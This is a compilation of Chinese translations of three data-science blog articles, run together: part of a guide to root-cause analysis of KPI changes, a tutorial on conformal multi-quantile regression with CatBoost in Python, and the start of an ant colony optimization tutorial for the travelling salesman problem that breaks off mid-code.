步骤 2:检查数据
正如我们之前讨论的,首先,了解客户是否受到影响,或者只是数据异常,这一点非常重要。
我强烈建议你检查数据是否是最新的。你可能会看到昨天的收入减少了 50%,因为报告只捕捉了当天的前半部分。你可以查看原始数据或与数据工程团队沟通。
如果没有已知的数据相关问题,你可以使用不同的数据源来双重检查指标。在许多情况下,产品有客户端数据(例如,Google Analytics 或 Amplitude)和后端数据(例如,应用日志、访问日志或 API 网关日志)。因此,我们可以使用不同的数据源来验证 KPI 动态。如果你在一个数据源中看到异常,那么你的问题可能与数据有关,并不会影响客户。
另一点需要记住的是时间窗口和数据延迟。有一次,一位产品经理找我说激活出现了问题,因为从注册到首次成功操作(例如在电子商务中是购买)的转化率在过去三周里一直在下降。然而,这实际上是一种日常情况。
作者基于合成数据的示例
下降的根本原因是时间窗口。我们跟踪注册后前 30 天内的激活情况。因此,注册超过 4 周的用户有整整一个月的时间来进行首次操作。但最近一批用户只有一周的时间来转化,因此他们的转化率预期会低得多。如果你想比较这些用户群体的转化情况,可以将时间窗口更改为一周或等待。
如果数据出现延迟,你可能会看到最近几天有类似的下降趋势。例如,我们的移动分析系统在设备使用 Wi-Fi 网络时会批量发送事件。因此,平均而言,从所有设备收集所有事件需要 3 到 4 天。所以在过去的 3 到 4 天看到较少的活跃设备是很正常的。
对于这种情况,好的做法是从图表中去掉最后一个句点。这将防止你的团队基于数据做出错误的决策。然而,人们仍然可能会不*心遇到这些不准确的指标,因此在深入进行根本原因分析之前,你应该花些时间理解这些方法论上准确的指标。
第三步:全景视图
下一步是更全面地查看趋势。首先,我倾向于缩*视野,查看较长时间的趋势,以获得整体图景。
例如,看看购买数量。订单数量已经稳定增长了好几个星期,预计在 12 月底(圣诞节和新年期间)会有所下降。但接着,在 5 月初,KPI 显著下降并持续减少。我们应该开始感到恐慌了吗?
作者基于合成数据的示例
实际上,大多数情况下,没有必要惊慌。我们可以查看过去三年的指标趋势,并注意到每年夏季购买数量都会减少。这是季节性因素的影响。许多产品在夏季的参与度较低,因为客户会去度假。然而,这种季节性模式并不是普遍存在的:例如,旅游或夏季节庆网站可能会有相反的季节性趋势。
作者基于合成数据的示例
再看一个例子——另一个产品的活跃客户数量。我们可以看到自六月以来有所下降:月活跃用户曾经为 380K — 400K,现在只有 340–360K(下降约 -10%)。我们已经检查过以往几年的夏季没有发生这样的变化。我们是否应该得出结论认为我们的产品出现了问题?
作者基于合成数据的示例
等等,还不行。在这种情况下,放大查看也可能有帮助。考虑到长期趋势,我们可以看到最近三周的数值接近于二月和三月的数值。真正的异常是从四月初到五月中旬的 1.5 个月高客户数量。我们可能错误地得出 KPI 下降的结论,但它只是回到了正常水平。考虑到那是 2020 年春季,网站上的高流量很可能是由于 COVID 隔离:客户在家里,在线时间增加。
作者基于合成数据的示例
你初步分析的最后一点是确定 KPI 变化的确切时间。在某些情况下,变化可能会在 5 分钟内突然发生。而在其他情况下,可能只是趋势的微*变化。例如,活跃用户曾经每周增长 +5%,但现在仅为 +3%。
尝试尽可能准确地确定变化点(甚至到分钟级别)是值得的,因为这将帮助你后续选择最可信的假设。
指标变化的速度可以给你一些线索。例如,如果转化率在 5 分钟内发生变化,那不可能是由于新应用版本的发布(通常需要几天时间才能更新应用),更可能是由于后端的变化(例如 API)。
步骤 4:获取背景信息
理解整个背景(发生了什么)对我们的调查可能至关重要。
我通常检查以查看整体情况的内容:
-
内部变化。不用说,内部变化会影响 KPI,因此我通常会查看所有的发布、实验、基础设施事件、产品变化(例如,新设计或价格变动)以及供应商更新(例如,升级到我们用于报告的最新版本 BI 工具)。
-
外部因素可能会根据你的产品有所不同。在金融科技领域,货币汇率可能会影响客户行为,而重大新闻或天气变化可能会影响搜索引擎市场份额。你可以为你的产品头脑风暴类似的因素。试着在思考外部因素时富有创意。例如,我们曾发现网站流量的下降是由于我们最重要地区的网络问题。
-
竞争对手活动。尝试了解你的主要竞争对手是否正在做某些事情——大规模的营销活动、产品不可用的事件或市场关闭。最简单的方法是查看 Twitter、Reddit 或新闻上的提及。此外,还有许多监控服务问题和故障的网站(例如,DownDetector或DownForEveryoneOrJustMe),你可以在这些网站上检查竞争对手的健康状况。
-
客户反馈。你可以通过客户支持团队了解产品的问题。因此,不要犹豫,问问他们是否有新的投诉或特定类型的客户联系量增加。然而,请记住,可能只有少数人会联系客户支持(特别是如果你的产品对日常生活并非必需)。例如,多年前,我们的搜索引擎在~100K 老版本 Opera 浏览器用户中完全崩溃。问题持续了几天,但不到十个客户联系了支持。
由于我们已经定义了异常时间,因此很容易获取所有发生在附近的事件。这些事件就是你的假设。
提示: 如果你怀疑内部变更(发布或实验)是 KPI 下降的根本原因。最佳实践是恢复这些变更(如果可能的话),然后尝试理解确切的问题。这将帮助你减少对客户的潜在负面影响。
步骤 5:切片与切块
此时,你希望已经对异常发生时的周围情况有所了解,并对根本原因有了一些假设。
我们先从更高的层次看待异常。例如,如果在美国客户的 Android 设备上出现了异常,值得检查 iOS、网页以及其他地区的客户。这样你将能够适当地理解问题的规模。
之后,是时候深入挖掘并尝试定位异常(尽可能狭窄地定义受 KPI 变化影响的段或多个段)。最直接的方法是查看你产品在不同*度上的 KPI 趋势。
这样有意义的*度列表可能会根据你的产品有所不同,所以值得与团队进行头脑风暴。我建议查看以下因素组:
-
技术特性:例如,平台、操作系统、应用版本;
-
客户特征:例如,新客户或现有客户(群体),年龄,地区;
-
客户行为:例如,产品功能的采用,实验标志,营销渠道。
在按不同*度拆分 KPI 趋势时,最好只查看足够显著的细分。例如,如果收入下降了 10%,没有必要查看对总收入贡献不到 1%的国家。*组中的指标往往更具波动性,因此不显著的细分可能会增加过多噪音。我更倾向于将所有*片段分组到其他
组中,以避免完全丧失该信号。
例如,我们可以查看按平台划分的收入。不同平台的绝对数值可能差异很大,因此我将所有系列标准化到第一个点,以比较随时间的动态。有时,最好对前 N 个点进行平均化。例如,将前七天的平均值来捕捉每周季节性。
这就是你可以在 Python 中做到的。
import plotly.express as px
norm_value = df[:7].mean()
norm_df = df.apply(lambda x: x/norm_value, axis = 1)
px.line(norm_df, title = 'Revenue by platform normed on 1st point')
图表告诉我们整个故事:在 5 月之前,不同平台的收入趋势非常接近,但随后 iOS 出现了变化,iOS 收入下降了 10-20%。所以 iOS 平台主要受到这一变化的影响,而其他平台则相对稳定。
基于合成数据的作者示例
步骤 6:理解你的指标
在确定受到异常影响的主要细分后,让我们尝试分解我们的 KPI。这可能会给我们更好的了解情况。
我们通常在分析中使用两种类型的 KPI:绝对数值和比率。所以让我们讨论每种情况的分解方法。
我们可以通过标准化来分解绝对数值。例如,让我们看看在服务中总共花费的时间(内容产品的标准 KPI)。我们可以将其分解为两个单独的指标。
然后我们可以查看两个指标的动态。在下面的例子中,我们可以看到活跃客户数保持稳定,而每位客户花费的时间下降了,这意味着我们并没有完全失去客户,但由于某些原因,他们开始在我们的服务上花费更少的时间。
基于合成数据的作者示例
对于比率指标,我们可以分别查看分子和分母的动态。例如,让我们使用 30 天内从注册到首次购买的转化率。我们可以将其分解为两个指标:
-
在注册后 30 天内完成购买的客户数量(分子),
-
注册人数(分母)。
在下面的例子中,转化率在四月份从 43.5%下降到 40%。注册人数和转化客户数都增加了。这意味着有更多的客户转化率较低。这可能是由于不同的原因:
-
新的营销渠道或质量较低的用户的营销活动;
-
数据中的技术变化(例如,我们改变了地区定义,现在我们考虑了更多的客户);
-
网站上的欺诈或机器人流量。
作者基于合成数据的示例
提示: 如果我们看到转换用户的下降,而总用户数量保持稳定,这将表明产品或数据中关于转换的事实存在问题。
对于转换,将其转化为漏斗也可能会有所帮助。例如,在我们的案例中,我们可以查看以下步骤的转换:
-
完成注册
-
产品目录
-
将商品添加到购物车
-
下订单
-
成功支付。
每一步的转换动态可以显示客户旅程中发生变化的阶段。
第 7 步:得出结论
根据上述所有分析阶段,你应该对当前情况有一个比较全面的了解:
-
具体改变了什么;
-
哪些细分市场受到影响;
-
周围发生了什么。
现在是总结的时候了。我倾向于以结构化的方式记录所有信息,描述测试过的假设和我们得出的结论,以及当前对主要根本原因的理解和下一步(如果需要)。
提示: 记录所有测试过的假设(不仅仅是已证明的假设)是值得的,因为这将避免重复不必要的工作。
现在最重要的是验证我们的主要根本原因是否能够完全解释 KPI 变化。我通常在没有已知影响的情况下对情况进行建模。
例如,在从注册到首次购买的转换案例中,我们可能发现了欺诈攻击,并知道如何通过 IP 地址和用户代理来识别机器人流量。因此,我们可以查看在已知主要根本原因——欺诈流量——影响之外的转换率。
作者基于合成数据的示例
如你所见,欺诈流量仅解释了大约 70%的下降,还有其他因素可能影响 KPI。这就是为什么最好双重检查你是否发现了所有重要因素。
有时,证明你的假设可能是具有挑战性的,例如价格或设计的变化,你无法进行适当的 A/B 测试。我们都知道,相关性并不意味着因果关系。
在这种情况下检查假设的可能方法:
-
查看过去类似情况,例如价格变化是否与 KPI 有类似的相关性。
-
尝试识别行为发生变化的客户,比如那些开始在我们的应用中花费更少时间的客户,并进行调查。
在此分析之后,你仍然可能对效果产生疑问,但这可能会增加你对找到正确答案的信心。
提示: 如果你陷入困境,调查也可能有帮助:你已经检查了所有假设但仍未找到解释。
如何为下一次根本原因分析做好准备?
在详细调查结束时,是时候考虑如何让下次变得更轻松、更好。
经过多年的异常调查经验,我总结了以下最佳实践:
-
拥有特定于您的产品的清单是非常有帮助的——这可以为您和您的同事节省数*时的工作。值得整理出假设列表和检查这些假设的工具(例如仪表盘链接、关于竞争对手的外部信息来源等)。请记住,编写清单不是一次性活动:一旦遇到新的异常类型,您应该将新知识添加到清单中,以保持其最新。
-
另一个有价值的文档是包含所有重要事件的变更日志,例如价格变动、竞争产品的推出或新功能发布。变更日志将帮助您在一个地方找到所有重要事件,而无需翻阅多个聊天记录和*基页面。记住更新变更日志可能会很有挑战性。您可以将其纳入分析值班职责,以确立明确的责任。
-
在大多数情况下,您需要来自不同人员的输入,以了解情况的整体背景。预先准备好的工作组和 KPI 异常调查渠道可以节省宝贵的时间,并保持所有利益相关者的更新。
-
最后但同样重要的是,为了最*化对客户的潜在负面影响,我们应该建立监控系统,以便尽快了解异常情况并开始寻找根本原因。因此,请腾出时间来建立和改进您的警报和监控系统。
TL;DR
我希望您牢记的关键消息:
-
处理根本原因分析时,您应该专注于最*化对客户的潜在负面影响。
-
尽量发挥创造力并广泛考虑:了解您产品内部发生的情况、基础设施的状况以及潜在的外部因素。
-
深入挖掘:从不同角度查看您的指标,尝试检查不同的细分市场并分解您的指标。
-
做好准备:如果您已经有产品清单、变更日志和工作组进行头脑风暴,那么处理这样的研究会容易得多。
非常感谢您阅读这篇文章。我希望现在您不会在面对根本原因分析任务时感到困惑,因为您已经有了手头的指南。如果您有任何后续问题或评论,请随时在评论区留言。
另一种(符合性)预测概率分布的方法
原文:
towardsdatascience.com/another-conformal-way-to-predict-probability-distributions-fcc63e78680d
使用 Catboost 进行符合性多分位回归
·发表于 Towards Data Science ·阅读时间 11 分钟·2023 年 3 月 8 日
--
德克萨斯州。图像来源:作者。
在 上一篇文章 中,我们探索了 Catboost 的多分位损失函数的能力,该函数允许使用单一模型预测多个分位数。这种方法优雅地克服了传统分位回归的一项限制:后者需要为每个分位数开发一个单独的模型,或将整个训练集存储在模型中。然而,分位回归还有另一个缺点,我们将在本文中讨论:预测的分位数可能存在偏差,无法保证校准和覆盖。本文将演示如何通过符合性多分位回归来克服这一问题。我鼓励尚未跟进本系列的人在阅读之前回顾以下文章:
探索 Catboost 的多分位回归
towardsdatascience.com [## 理解机器学习中的噪声数据和不确定性
实际原因是你的机器学习模型未能正常工作
## 如何使用“符合分位数回归”预测风险比例区间 如何预测风险比例区间与符合分位数回归
这个算法——由斯坦福学者在 2019 年发布——将分位数回归与符合预测结合在一起。这里…
回顾:为何选择多分位数回归?
多分位数回归使我们能够使用一个模型预测多个目标分位数。因为没有计算限制要求每个分位数一个模型,也没有像 KNN 或分位数回归森林那样需要在模型中存储整个训练集的限制,我们可以更有效地预测更多分位数,并更好地了解条件目标分布的样貌。
使用传统的分位数回归,生成 95%的预测区间需要一个用于 2.5 分位数的模型,一个用于 97.5 分位数的模型,可能还需要一个用于期望值或 50 分位数的模型。每个模型的单次预测结果大致如下:
预测的 CDF 样本用于单个测试样本(三个独立的分位数模型)。图像由作者提供。
假设这些分位数经过校准,它们揭示了一些见解。首先,给定特征,目标*于或等于 3.6 的概率大约是 0.50 或 50%。类似地,给定特征,目标值在 3.25 和 4.38 之间的概率大约是 0.95 或 95%。
虽然模型的输出很好且符合我们的要求,但我们可能希望动态调整风险容忍度。例如,如果我们需要更保守的 99%预测区间怎么办?类似地,如果我们更愿意承担风险,接受 90%或 80%预测区间怎么办?如果我们想知道“给定特征,目标大于 y1 的概率是多少?”我们可能还想问“给定特征,目标在 y1 和 y2 之间的概率是多少?”多分位数回归通过预测尽可能多的分位数来帮助回答这些问题:
预测的 CDF 样本用于单个测试样本(一个多分位数模型)。图像由作者提供。
能够准确预测的分位数越多,风险容忍度可以随时调整的余地就越大,我们可以更好地回答关于条件目标分布的一般概率问题。
请注意,单一决策树模型已被用于生成多个分位数预测。然而,这依赖于树将所有目标值存储在叶子节点中。在预测时,指定一个分位数,并从叶子节点中的数据中经验性地计算出来,这要求模型存储整个训练集。这也意味着深度树可能在叶子节点中只有很少的样本可供使用。
Catboost 本质上有所不同,因为它仅在终端节点中存储指定的分位数的数量。此外,损失函数被优化以预测每个指定的分位数。我们还享受了 Catboost 提供的性能提升,这是其底层架构带来的优势。
分位回归的问题
在传统的和多分位回归中,没有总是有统计保证 分位数是无偏的。这意味着,对于训练来预测目标分布的第 95 分位数的模型,并不能保证 95%的观察值实际上会*于或等于预测值。这在需要准确概率表示来做出关键决策的高风险应用中是一个问题。
分位回归也可能产生过于保守的预测区间,进而导致信息不足。一般来说,预测区间应尽可能窄,同时保持所需的覆盖水平。
符合性多分位回归
符合性分位回归的想法是调整预测的分位数,以准确反映所需的风险容忍度和区间长度。这是通过一个“校准”步骤来完成的,该步骤计算“符合性得分”以纠正预测的分位数。有关符合性分位回归的更多细节可以在这篇论文和这篇文章中找到。对于符合性多分位回归,我们将利用以下定理:
左尾和右尾符合性分位回归。来源。
如果这看起来过于抽象,请不要担心,步骤实际上很简单:
-
创建训练集、校准集和测试集。在训练集上拟合多分位模型以预测所有感兴趣的分位数。
-
在校准集上进行预测。对于每个校准实例和预测的分位数,计算预测分位数与对应目标值之间的差异。这些就是一致性分数。
-
对于每个测试示例和预测的分位数(假设为 q),从模型预测的分位数中减去对应于分位数 q 的一致性分数的 1-q 分位数。这些就是新的预测分位数。
我们可以在 Python 类中实现这个逻辑:
import numpy as np
import pandas as pd
from catboost import CatBoostRegressor, CatBoostError
from typing import Iterable
class ConformalMultiQuantile(CatBoostRegressor):
def __init__(self, quantiles:Iterable[float], *args, **kwargs):
"""
Initialize a ConformalMultiQuantile object.
Parameters
----------
quantiles : Iterable[float]
The list of quantiles to use in multi-quantile regression.
*args
Variable length argument list.
**kwargs
Arbitrary keyword arguments.
"""
kwargs['loss_function'] = self.create_loss_function_str(quantiles)
super().__init__(*args, **kwargs)
self.quantiles = quantiles
self.calibration_adjustments = None
@staticmethod
def create_loss_function_str(quantiles:Iterable[float]):
"""
Format the quantiles as a string for Catboost
Paramters
---------
quantiles : Union[float, List[float]]
A float or list of float quantiles
Returns
-------
The loss function definition for multi-quantile regression
"""
quantile_str = str(quantiles).replace('[','').replace(']','')
return f'MultiQuantile:alpha={quantile_str}'
def calibrate(self, x_cal, y_cal):
"""
Calibrate the multi-quantile model
Paramters
---------
x_cal : ndarray
Calibration inputs
y_cal : ndarray
Calibration target
"""
# Ensure the model is fitted
if not self.is_fitted():
raise CatBoostError('There is no trained model to use calibrate(). Use fit() to train model. Then use this method.')
# Make predictions on the calibration set
uncalibrated_preds = self.predict(x_cal)
# Compute the difference between the uncalibrated predicted quantiles and the target
conformity_scores = uncalibrated_preds - np.array(y_cal).reshape(-1, 1)
# Store the 1-q quantile of the conformity scores
self.calibration_adjustments = \
np.array([np.quantile(conformity_scores[:,i], 1-q) for i,q in enumerate(self.quantiles)])
def predict(self, data, prediction_type=None, ntree_start=0, ntree_end=0, thread_count=-1, verbose=None, task_type="CPU"):
"""
Predict using the trained model.
Parameters
----------
data : pandas.DataFrame or numpy.ndarray
Data to make predictions on
prediction_type : str, optional
Type of prediction result, by default None
ntree_start : int, optional
Number of trees to start prediction from, by default 0
ntree_end : int, optional
Number of trees to end prediction at, by default 0
thread_count : int, optional
Number of parallel threads to use, by default -1
verbose : bool or int, optional
Verbosity, by default None
task_type : str, optional
Type of task, by default "CPU"
Returns
-------
numpy.ndarray
The predicted values for the input data.
"""
preds = super().predict(data, prediction_type, ntree_start, ntree_end, thread_count, verbose, task_type)
# Adjust the predicted quantiles according to the quantiles of the
# conformity scores
if self.calibration_adjustments is not None:
preds = preds - self.calibration_adjustments
return preds
示例:超导性数据集
我们将对 超导性数据集 上的 超导体 数据集进行一致性多分位回归。该数据集提供了 21,263 个包含 81 个 超导体 特征及其 临界温度 (目标)。数据被划分为 ~64% 用于训练,~16% 用于校准,20% 用于测试。
# Dependencies
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
from catboost import CatBoostRegressor, CatBoostError
from sklearn.model_selection import train_test_split
from typing import Iterable
pd.set_option('display.max.columns', None)
sns.set()
# Read in superconductivity dataset
data = pd.read_csv('train.csv')
# Predicting critical temperature
target = 'critical_temp'
# 80/20 train/test split
x_train, x_test, y_train, y_test = train_test_split(data.drop(target, axis=1), data[target], test_size=0.20)
# Hold out 20% of the training data for calibration
x_train, x_cal, y_train, y_cal = train_test_split(x_train, y_train, test_size=0.20)
print("Training shape:", x_train.shape) # Training shape: (13608, 81)
print("Calibration shape:", x_cal.shape) # Calibration shape: (3402, 81)
print("Testing shape:", x_test.shape) # Testing shape: (4253, 81)
我们将指定一组要预测的分位数。为了展示多分位回归的强大功能,该模型将预测从 0.005 到 0.99 的 200 个分位数——这在实际中可能有些过度。接下来,我们将 拟合 一致性多分位模型,进行 未经校准的预测,在 校准集 上 校准 模型,并进行 校准后的预测。
# Store quantiles 0.005 through 0.99 in a list
quantiles = [q/200 for q in range(1, 200)]
# Instantiate the conformal multi-quantile model
conformal_model = ConformalMultiQuantile(iterations=100,
quantiles=quantiles,
verbose=10)
# Fit the conformal multi-quantile model
conformal_model.fit(x_train, y_train)
# Get predictions before calibration
preds_uncalibrated = conformal_model.predict(x_test)
preds_uncalibrated = pd.DataFrame(preds_uncalibrated, columns=[f'pred_{q}' for q in quantiles])
# Calibrate the model
conformal_model.calibrate(x_cal, y_cal)
# Get calibrated predictions
preds_calibrated = conformal_model.predict(x_test)
preds_calibrated = pd.DataFrame(preds_calibrated, columns=[f'pred_{q}' for q in quantiles])
preds_calibrated.head()
结果预测应如下所示:
前五个观察值的前几个预测分位数。图片来源于作者。
在测试集上,我们可以测量未经校准和校准的预测如何与它们所表示的左尾概率对齐。例如,如果分位数已校准,则 40% 的目标值应*于或等于预测分位数 0.40,90% 的目标值应*于或等于预测分位数 0.90 等。下面的代码计算期望左尾概率与实际左尾概率之间的平均绝对误差(MAE):
# Initialize an empty DataFrame
comparison_df = pd.DataFrame()
# For each predicted quantile
for i, quantile in enumerate(quantiles):
# Compute the proportion of testing observations that were less than or equal
# to the uncalibrated predicted quantile
actual_prob_uncal = np.mean(y_test.values <= preds_uncalibrated[f'pred_{quantile}'])
# Compute the proportion of testing observations that were less than or equal
# to the calibrated predicted quantile
actual_prob_cal = np.mean(y_test.values <= preds_calibrated[f'pred_{quantile}'])
comparison_df_curr = pd.DataFrame({
'desired_probability':quantile,
'actual_uncalibrated_probability':actual_prob_uncal,
'actual_calibrated_probability':actual_prob_cal}, index=[i])
comparison_df = pd.concat([comparison_df, comparison_df_curr])
comparison_df['abs_diff_uncal'] = (comparison_df['desired_probability'] - comparison_df['actual_uncalibrated_probability']).abs()
comparison_df['abs_diff_cal'] = (comparison_df['desired_probability'] - comparison_df['actual_calibrated_probability']).abs()
print("Uncalibrated quantile MAE:", comparison_df['abs_diff_uncal'].mean())
print("Calibrated quantile MAE:", comparison_df['abs_diff_cal'].mean())
# Uncalibrated quantile MAE: 0.02572999018133225
# Calibrated quantile MAE: 0.007850550660662823
未校准的分位数平均偏差约为 0.026,而校准后的分位数偏差为 0.008。因此,校准后的分位数与期望的左尾概率更加一致。
实际 vs 预测分位数的左尾概率。图片来源于作者。
这可能看起来不像校准中有戏剧性的变化,但通过分析实际与期望覆盖率,可以更清楚地看出未经校准模型中的误差:
coverage_df = pd.DataFrame()
for i, alpha in enumerate(np.arange(0.01, 0.41, 0.01)):
lower_quantile = round(alpha/2, 3)
upper_quantile = round(1 - alpha/2, 3)
# Compare actual to expected coverage for both models
lower_prob_uncal = comparison_df[comparison_df['desired_probability'] == lower_quantile]['actual_uncalibrated_probability'].values[0]
upper_prob_uncal = comparison_df[comparison_df['desired_probability'] == upper_quantile]['actual_uncalibrated_probability'].values[0]
lower_prob_cal = comparison_df[comparison_df['desired_probability'] == lower_quantile]['actual_calibrated_probability'].values[0]
upper_prob_cal = comparison_df[comparison_df['desired_probability'] == upper_quantile]['actual_calibrated_probability'].values[0]
coverage_df_curr = pd.DataFrame({'desired_coverage':1-alpha,
'actual_uncalibrated_coverage':upper_prob_uncal - lower_prob_uncal,
'actual_calibrated_coverage':upper_prob_cal - lower_prob_cal}, index=[i])
coverage_df = pd.concat([coverage_df, coverage_df_curr])
coverage_df['abs_diff_uncal'] = (coverage_df['desired_coverage'] - coverage_df['actual_uncalibrated_coverage']).abs()
coverage_df['abs_diff_cal'] = (coverage_df['desired_coverage'] - coverage_df['actual_calibrated_coverage']).abs()
print("Uncalibrated Coverage MAE:", coverage_df['abs_diff_uncal'].mean())
print("Calibrated Coverage MAE:", coverage_df['abs_diff_cal'].mean())
# Uncalibrated Coverage MAE: 0.03660674817775689
# Calibrated Coverage MAE: 0.003543616270867622
fig, ax = plt.subplots(figsize=(10, 6))
ax.plot(coverage_df['desired_coverage'],
coverage_df['desired_coverage'],
label='Perfect Calibration')
ax.scatter(coverage_df['desired_coverage'],
coverage_df['actual_uncalibrated_coverage'],
color='orange',
label='Uncalibrated Model')
ax.scatter(coverage_df['desired_coverage'],
coverage_df['actual_calibrated_coverage'],
color='green',
label='Calibrated Model')
ax.set_xlabel('Desired Coverage')
ax.set_ylabel('Actual Coverage')
ax.set_title('Desired vs Actual Coverage')
ax.legend()
plt.show()
实际覆盖率与期望覆盖率。图像来源:作者。
未校准模型往往过于保守,覆盖了比期望更多的示例。而校准模型则与每个期望的覆盖率几乎完美对齐。
此外,校准模型生成的预测区间的平均长度少于未校准模型。因此,校准模型的覆盖率更好,预测区间也更具信息性。
按期望覆盖率的平均预测区间长度。图像来源:作者。
可能会有人问,如果我们允许未校准模型将校准集作为训练数据会发生什么。这在实践中是合理的,因为我们不会无缘无故地丢弃好的训练数据。以下是结果:
# Fit a model using the training and calibration data
regular_model = ConformalMultiQuantile(iterations=100,
quantiles=quantiles,
verbose=10)
regular_model.fit(pd.concat([x_train, x_cal]), pd.concat([y_train, y_cal]))
# Fit a model on the training data only
conformal_model = ConformalMultiQuantile(iterations=100,
quantiles=quantiles,
verbose=10)
conformal_model.fit(x_train, y_train)
# Get predictions before calibration
preds_uncalibrated = regular_model.predict(x_test)
preds_uncalibrated = pd.DataFrame(preds_uncalibrated, columns=[f'pred_{q}' for q in quantiles])
# Calibrate the model
conformal_model.calibrate(x_cal, y_cal)
# Get calibrated predictions
preds_calibrated = conformal_model.predict(x_test)
preds_calibrated = pd.DataFrame(preds_calibrated, columns=[f'pred_{q}' for q in quantiles])
comparison_df = pd.DataFrame()
# Compare actual to predicted left-tailed probabilities
for i, quantile in enumerate(quantiles):
actual_prob_uncal = np.mean(y_test.values <= preds_uncalibrated[f'pred_{quantile}'])
actual_prob_cal = np.mean(y_test.values <= preds_calibrated[f'pred_{quantile}'])
comparison_df_curr = pd.DataFrame({
'desired_probability':quantile,
'actual_uncalibrated_probability':actual_prob_uncal,
'actual_calibrated_probability':actual_prob_cal}, index=[i])
comparison_df = pd.concat([comparison_df, comparison_df_curr])
comparison_df['abs_diff_uncal'] = (comparison_df['desired_probability'] - comparison_df['actual_uncalibrated_probability']).abs()
comparison_df['abs_diff_cal'] = (comparison_df['desired_probability'] - comparison_df['actual_calibrated_probability']).abs()
print("Uncalibrated quantile MAE:", comparison_df['abs_diff_uncal'].mean())
print("Calibrated quantile MAE:", comparison_df['abs_diff_cal'].mean())
# Uncalibrated quantile MAE: 0.023452756375340143
# Calibrated quantile MAE: 0.0061827359227361834
即使在训练数据少于未校准模型的情况下,校准模型输出的分位数也更好。更重要的是,当我们将预测的分位数的期望值与目标值进行比较时,这些模型的表现相似:
from sklearn.metrics import r2_score, mean_absolute_error
print(f"Uncalibrated R2 Score: {r2_score(y_test, preds_uncalibrated.mean(axis=1))}")
print(f"Calibrated R2 Score: {r2_score(y_test, preds_calibrated.mean(axis=1))} \n")
print(f"Uncalibrated MAE: {mean_absolute_error(y_test, preds_uncalibrated.mean(axis=1))}")
print(f"Calibrated MAE: {mean_absolute_error(y_test, preds_calibrated.mean(axis=1))} \n")
# Uncalibrated R2 Score: 0.8060126144892599
# Calibrated R2 Score: 0.8053382438575666
# Uncalibrated MAE: 10.622258046774979
# Calibrated MAE: 10.557269513856014
最终思考
机器学习中没有万无一失的解决方案,符合性分位回归也不例外。支撑符合性预测理论的粘合剂是数据的可交换性假设。例如,如果数据的分布随时间漂移(这在许多实际应用中通常发生),那么符合性预测无法再提供强有力的概率保证。虽然有绕过这一假设的方法,但这些方法最终取决于数据漂移的严重程度和学习问题的性质。将宝贵的训练数据用于校准也可能不是最佳选择。
一如既往,机器学习从业者负责理解数据的性质并应用适当的技术。感谢阅读!
成为会员: https://harrisonfhoffman.medium.com/membership
参考文献
-
Catboost 损失函数 —
catboost.ai/en/docs/concepts/loss-functions-regression#MultiQuantile
-
符合性分位回归 —
arxiv.org/pdf/1905.03222.pdf
-
符合性预测超越可交换性 —
arxiv.org/pdf/2202.13415.pdf
-
超导数据集 —
archive.ics.uci.edu/ml/datasets/Superconductivty+Data
-
如何使用保形分位回归预测风险比例区间 —
towardsdatascience.com/how-to-predict-risk-proportional-intervals-with-conformal-quantile-regression-175775840dc4
-
如何使用机器学习保形预测预测完整概率分布 —
valeman.medium.com/how-to-predict-full-probability-distribution-using-machine-learning-conformal-predictive-f8f4d805e420
蚁群优化算法的实际应用
原文:
towardsdatascience.com/ant-colony-optimization-in-action-6d9106de60af
一只滑雪的蚂蚁。图片由作者使用 Dall·E 创建。
使用 ACO 在 Python 中解决优化问题并提升结果
·发布于Towards Data Science ·10 分钟阅读·2023 年 9 月 20 日
--
欢迎回来!在我的 上一篇文章****中,我介绍了蚁群优化(ACO)的基本原理。在这一部分,我们将深入探讨如何从头开始实现 ACO 算法,以解决两种不同类型的问题。
我们将要解决的问题是旅行商问题(TSP)和二次分配问题(QAP)。为什么是这两个问题?因为 TSP 是一个经典挑战,而 ACO 恰好是一种有效的算法,用于找到图中最具成本效益的路径。另一方面,二次分配问题代表了与优化物品排列相关的不同问题类别,在这篇文章中,我旨在展示 ACO 也可以成为解决此类分配相关问题的有价值工具。这种多功能性使得 ACO 算法适用于广泛的问题。最后,我将分享一些更快速获得改进解决方案的技巧。
旅行商问题
TSP(旅行商问题)描述起来很简单,但在寻找解决方案时可能会面临重大挑战。基本定义是:你的任务是发现一条访问图中所有节点的最短路径。这个问题属于NP 难题的范畴,这意味着如果你尝试探索所有可能的路径,找到解决方案可能需要不切实际的时间。相反,更有效的方法是寻求在合理时间内的高质量解决方案,这正是我们通过 ACO(蚁群优化算法)要实现的目标。
问题定义
使用以下代码,我们可以创建一个具有给定节点数量的 TSP 实例:
import itertools
import math
import random
from typing import Tuple
import networkx as nx
import networkx.algorithms.shortest_paths.dense as nxalg
class TSP:
"""
Creates a TSP problem with a certain number of nodes
"""
def __init__(self, nodes: int = 30, dimensions: Tuple[int, int] = (1000, 1000), seed: int = 5):
if seed:
random.seed(seed)
graph = nx.Graph()
nodes_dict = dict()
for i in range(nodes):
nodes_dict[i] = (random.randint(0, dimensions[0]), random.randint(0, dimensions[1]))
graph.add_node(i)
for i, j in itertools.permutations(range(nodes), 2):
graph.add_edge(i, j, weight=self.calculate_distance(nodes_dict[i], nodes_dict[j]))
self.graph = graph
self.nodes = nodes_dict
self.distance_matrix = nxalg.floyd_warshall_numpy(graph)
@staticmethod
def calculate_distance(i, j):
"""
Calculate the Euclidian distance between two nodes
"""
return int(math.sqrt((i[0] - j[0])**2 + (i[1] - j[1])**2))
我们将用来演示 ACO 的 TSP 示例是以下的(默认设置):
访问所有节点并返回起始节点。图片由作者提供。
对于这个问题的最优解(用混合整数规划计算)如下:
旅行推销员问题的最优解。图片由作者提供。
这条路径的距离是 4897。
用 ACO 解决 TSP
下一步是用蚁群优化解决这个问题,看看我们能接近最优解到什么程度。如果你不熟悉 ACO,想了解算法如何工作,可以阅读我之前的文章。然后,你可以回到这里查看 ACO 的实际应用。
ACO 的代码:
import datetime
import json
import logging
import random
import time
import matplotlib.pyplot as plt
import numpy as np
from problem import TSP
class AntColonyOptimization:
"""
Ant colony optimization algorithm for finding the shortest route in a graph.
Parameters:
m = number of ants
k_max = number of iterations
alpha = pheromone importance
beta = distance importance
rho = pheromone evaporation rate
Q = pheromone deposit
tau = pheromone
eta = distance
"""
def __init__(self, problem, **kwargs):
self.graph = problem.graph
self.nodes = list(problem.nodes)
self.coordinates = list(problem.nodes.values())
self.n = len(self.nodes)
self.distance_matrix = problem.distance_matrix
self.m = kwargs.get("m", 100)
self.k_max = kwargs.get("k_max", 50)
self.alpha = kwargs.get("alpha", 1)
